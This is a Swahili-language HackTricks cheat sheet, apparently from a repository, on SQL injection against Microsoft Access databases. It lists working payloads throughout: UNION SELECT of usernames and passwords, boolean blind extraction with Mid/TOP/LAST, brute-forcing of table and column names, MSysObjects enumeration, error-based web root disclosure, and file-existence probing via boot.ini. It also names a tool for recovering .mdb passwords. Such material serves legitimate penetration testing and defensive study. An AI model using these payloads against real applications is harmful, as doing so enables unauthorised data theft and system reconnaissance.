hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md
2024-02-11 02:13:58 +00:00

9.7 KiB

MS Access SQL Injection

Jifunze kuhusu kuhack AWS kutoka mwanzo hadi kuwa shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Uwanja wa Kucheza Mtandaoni

Vizuizi vya DB

Uunganishaji wa Maneno ya String

Uunganishaji wa maneno ya string unawezekana kwa kutumia herufi & (%26) na + (%2b).

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Maoni

Hakuna maoni katika MS Access, lakini inaonekana niwezekana kuondoa sehemu ya mwisho ya swali na NULL char:

1' union select 1,2 from table%00

Ikiwa hii haifanyi kazi, unaweza daima kurekebisha muundo wa swali:

1' UNION SELECT 1,2 FROM table WHERE ''='

Maswali Yaliyopangwa

Hayasaidiwi.

KIKOMBE

Msimamizi wa KIKOMBE haujatekelezwa. Walakini, inawezekana kikomo matokeo ya swali la SELECT kwa safu za kwanza N kwa kutumia operator TOP. TOP inakubali kama hoja nambari ya kiasi cha safu zitakazorudishwa.

1' UNION SELECT TOP 3 attr FROM table%00

Kama vile TOP, unaweza kutumia LAST ambayo itapata safu kutoka mwisho.

Maswali ya UNION/Sub queries

Katika SQLi, kawaida utataka kwa namna fulani kutekeleza swali jipya ili kutoa habari kutoka kwenye meza nyingine. MS Access daima inahitaji kwamba katika subqueries au maswali ya ziada, FROM ionyeshwe.
Kwa hivyo, ikiwa unataka kutekeleza UNION SELECT au UNION ALL SELECT au SELECT kati ya mabano katika hali fulani, daima unahitaji kuonyesha FROM na jina sahihi la meza.
Kwa hiyo, unahitaji kujua jina sahihi la meza.

-1' UNION SELECT username,password from users%00

Kufunga sawa + Kipande

{% hint style="warning" %} Hii itakuruhusu kuchukua thamani za meza ya sasa bila kuhitaji kujua jina la meza. {% endhint %}

MS Access inaruhusu muundo wa sintaksia kama vile '1'=2='3'='asd'=false. Kama kawaida, SQL injection itakuwa ndani ya kifungu cha WHERE tunaweza kutumia hilo.

Fikiria una SQLi katika database ya MS Access na unajua (au umegundua) kuwa jina moja la safu ni username, na hiyo ndiyo uwanja unataka kuchukua. Unaweza kuchunguza majibu tofauti ya programu ya wavuti wakati mbinu ya kufunga sawa inapotumiwa na kuchukua maudhui kwa kutumia boolean injection kwa kutumia kazi ya Mid kupata vipande.

'=(Mid(username,1,3)='adm')='

Ikiwa unajua jina la meza na kolumu ya kudump, unaweza kutumia mchanganyiko wa Mid, LAST, na TOP ku vuja habari zote kupitia boolean SQLi:

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Jisikie huru kuangalia hii katika uwanja wa michezo mtandaoni.

Kuvunja nguvu majina ya Meza

Kwa kutumia mbinu ya kufunga sawa, unaweza pia kuvunja nguvu majina ya meza na kitu kama hiki:

'=(select+top+1+'lala'+from+<table_name>)='

Unaweza pia kutumia njia ya kawaida zaidi:

-1' AND (SELECT TOP 1 <table_name>)%00

Jisikie huru kuangalia hii katika uwanja wa michezo mtandaoni.

Kuvunja nguvu majina ya safu

Unaweza kuvunja nguvu majina ya safu za sasa kwa kutumia mbinu ya kufanana na alama ya usawa na:

'=column_name='

Au kwa kutumia group by:

-1' GROUP BY column_name%00

Au unaweza kuvunja nguvu majina ya safu ya meza tofauti na:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

Kudondosha data

Tayari tumeshajadili njia ya kufunga sawa kudondosha data kutoka kwenye meza ya sasa na meza nyingine. Lakini kuna njia nyingine:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

Kwa ufupi, swali linatumia kauli ya "kama-basi" ili kuzindua "200 OK" kwa mafanikio au "500 Internal Error" vinginevyo. Kwa kutumia operator TOP 10, inawezekana kuchagua matokeo kumi ya kwanza. Matumizi ya LAST yanaruhusu kuzingatia tu tuple ya 10. Kwa kutumia operator MID kwenye thamani hiyo, inawezekana kufanya ulinganisho rahisi wa herufi. Kwa kubadilisha kwa usahihi index ya MID na TOP, tunaweza kudump maudhui ya uga wa "jina la mtumiaji" kwa safu zote.

Kulingana na Wakati

Angalia https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN

Kazi Nyingine za Kuvutia

  • Mid('admin',1,1) pata kipande cha herufi kutoka nafasi 1 urefu wa 1 (nafasi ya kwanza ni 1)
  • LEN('1234') pata urefu wa herufi
  • ASC('A') pata thamani ya ASCII ya herufi
  • CHR(65) pata herufi kutoka thamani ya ASCII
  • IIF(1=1,'a','b') kama basi
  • COUNT(*) Hesabu idadi ya vitu

Kuchunguza Meza

Kutoka hapa unaweza kuona swali la kupata majina ya meza:

select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

Hata hivyo, ni kawaida sana kupata SQL Injections ambapo huna ufikiaji wa kusoma meza MSysObjects.

Upatikanaji wa Mfumo wa Faili

Njia Kamili ya Mizizi ya Diri ya Wavuti

Ujuzi wa njia kamili ya mizizi ya diri ya wavuti unaweza kuwezesha mashambulizi zaidi. Ikiwa makosa ya programu hayajafichwa kabisa, njia ya diri inaweza kufunuliwa kwa kujaribu kuchagua data kutoka kwenye database isiyopo.

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access inajibu na ujumbe wa makosa unaotaja njia kamili ya mizizi ya diri ya wavuti.

Uthibitishaji wa Faili

Vector ya shambulio ifuatayo inaweza kutumika ku kutambua uwepo wa faili kwenye mfumo wa faili wa mbali. Ikiwa faili iliyotajwa ipo, MS Access inasababisha ujumbe wa makosa unaoinforma kuwa muundo wa database ni batili:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

Njia nyingine ya kutambaza faili ni kwa kutaja kipengee cha database.table. Ikiwa faili iliyotajwa ipo, MS Access inaonyesha ujumbe wa makosa wa muundo wa database.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

Kudhani Jina la Faili la .mdb

Jina la faili la database (.mdb) linaweza kutambuliwa kwa kujaribu swali lifuatalo:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

Ambapo name[i] ni jina la faili la .mdb na realTable ni meza iliyopo ndani ya database. Ingawa MS Access daima itasababisha ujumbe wa makosa, inawezekana kutofautisha kati ya jina batili la faili na jina halali la faili la .mdb.

Kuvunja Nenosiri la .mdb

Access PassView ni chombo cha bure kinachoweza kutumika kurejesha nenosiri kuu la database ya Microsoft Access 95/97/2000/XP au Jet Database Engine 3.0/4.0.

Marejeo

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: